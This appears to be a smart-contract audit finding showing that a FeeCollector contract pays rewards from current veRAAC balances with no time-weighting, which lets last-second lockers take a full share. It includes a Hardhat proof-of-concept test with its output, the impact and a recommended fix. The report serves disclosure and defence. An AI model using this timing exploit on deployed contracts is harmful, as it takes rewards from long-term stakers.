Summary
The FeeCollector contract's reward distribution mechanism fails to account for token lock duration, allowing users to game rewards by locking tokens just before distribution.
Vulnerability Details
The FeeCollector's reward calculation only considers final voting power at distribution time, ignoring how long tokens were locked. Users can exploit this by:
Waiting until just before fee distribution
Locking tokens briefly
Claiming disproportionate rewards
function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 userShare = veRAACToken.balanceOf(user);
if (userShare == 0) return 0;
uint256 totalShares = veRAACToken.totalSupply();
if (totalShares == 0) return 0;
return (accumulatedRewards * userShare) / totalShares;
}
function distributeCollectedFees() external whenNotPaused onlyRole(DISTRIBUTOR_ROLE) {
accumulatedRewards += veRAACShare;
}
Proof of Concept:
describe("FeeCollector Reward Calculation Vulnerability", () => {
it("exploits reward calculation by ignoring time-weighted voting power", async function () {
await veRAACToken.connect(user1).lock(ethers.parseEther("500"), 365 * 24 * 3600);
await feeCollector.connect(user1).collectFee(ethers.parseEther("100"), 0);
await feeCollector.connect(owner).distributeCollectedFees();
await time.increase(7 * 24 * 3600 - 1);
await veRAACToken.connect(user2).lock(ethers.parseEther("500"), 365 * 24 * 3600);
const user1BalanceBefore = await raacToken.balanceOf(user1.address);
const user2BalanceBefore = await raacToken.balanceOf(user2.address);
await feeCollector.connect(user1).claimRewards(user1.address);
await feeCollector.connect(user2).claimRewards(user2.address);
const user1Rewards = await raacToken.balanceOf(user1.address) - user1BalanceBefore;
const user2Rewards = await raacToken.balanceOf(user2.address) - user2BalanceBefore;
console.log("User1 rewards (full period):", ethers.formatEther(user1Rewards));
console.log("User2 rewards (last second):", ethers.formatEther(user2Rewards));
expect(user2Rewards).to.be.gt(user1Rewards);
});
});
PoC Results:
FeeCollector Math Functions
Gas Optimization
FeeCollector Reward Calculation Vulnerability
User1 rewards (full period): 24.520543188736751236
User2 rewards (last second): 24.999998414510400812
✔ exploits reward calculation by ignoring time-weighted voting power (10202ms)
30 passing (6m)
Impact
Long-term stakers receive diluted rewards
System can be gamed by timing locks
Undermines intended tokenomics and staking incentives
Tools Used
Manual review
Hardhat test suite
Recommendations
Implement time-weighted voting power by:
Track lock timestamps in distribution periods
Weight rewards based on lock duration in period
Add checkpoint mechanism to capture historical voting power